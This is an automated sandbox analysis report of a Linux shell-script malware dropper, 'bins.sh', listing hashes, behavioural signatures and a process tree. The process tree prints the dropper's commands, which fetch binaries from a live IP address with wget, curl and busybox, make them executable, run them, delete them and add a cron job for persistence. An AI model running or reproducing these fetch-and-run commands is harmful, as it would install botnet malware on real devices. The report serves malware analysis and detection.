Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 13:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    55a1cde83448c075863af498d8f07347

  • SHA1

    71fc61de9d4ab6d1ffb6f77532da9099ed462060

  • SHA256

    3358bdb43f37beae54f42f364887f9c09d346e7cdb91f4d23ad252f984546bf1

  • SHA512

    7637c8bf8467388ae106f959277568b0f03cf62d65e60dfcb27a678a22599224aaf25100ca898619af630f564958ccb981c22d64a1328f18c1fe389092ab6430

  • SSDEEP

    192:yGgCCHWiiEpzUENiPH+NhIECCHWi5jeJPH+Nho:yGbuzFeJ

Malware Config

Signatures

  • Contacts a large (2004) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:683
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:684
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          PID:685
        • /bin/rm
          rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:689
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:695
          • /bin/chmod
            chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Executes dropped EXE
            PID:702
          • /bin/rm
            rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
              PID:704
            • /usr/bin/wget
              wget http://87.120.84.230/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Writes file to tmp directory
              PID:705
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:713
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Writes file to tmp directory
              PID:721
            • /bin/chmod
              chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • File and Directory Permissions Modification
              PID:725
            • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Executes dropped EXE
              PID:727
            • /bin/rm
              rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
                PID:729
              • /usr/bin/wget
                wget http://87.120.84.230/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Writes file to tmp directory
                PID:730
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:743
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Writes file to tmp directory
                PID:751
              • /bin/chmod
                chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • File and Directory Permissions Modification
                PID:752
              • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:753
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:755
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:756
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:757
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:758
                    • /bin/rm
                      rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                      2⤵
                        PID:760
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                        2⤵
                          PID:763

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /var/spool/cron/crontabs/tmp.Dc07UH

                        Filesize

                        210B

                        MD5

                        5bfc019bb6e53050fe7da9b76785a94c

                        SHA1

                        7223a5cfe1600b1f431d3fc146dfd3d238bc766a

                        SHA256

                        e5d2222030dde8c35088cc4c318f69ba61ac2a28a2fad2975ac6f67fc94e64e0

                        SHA512

                        3651009eafc9b03b79d79d6f3f16922743858ac0b5d23fed0744f5b975517fb716aeb1bdbf027c3518598efdf220077ed7c178ba18c6ea908d6854680e48a11b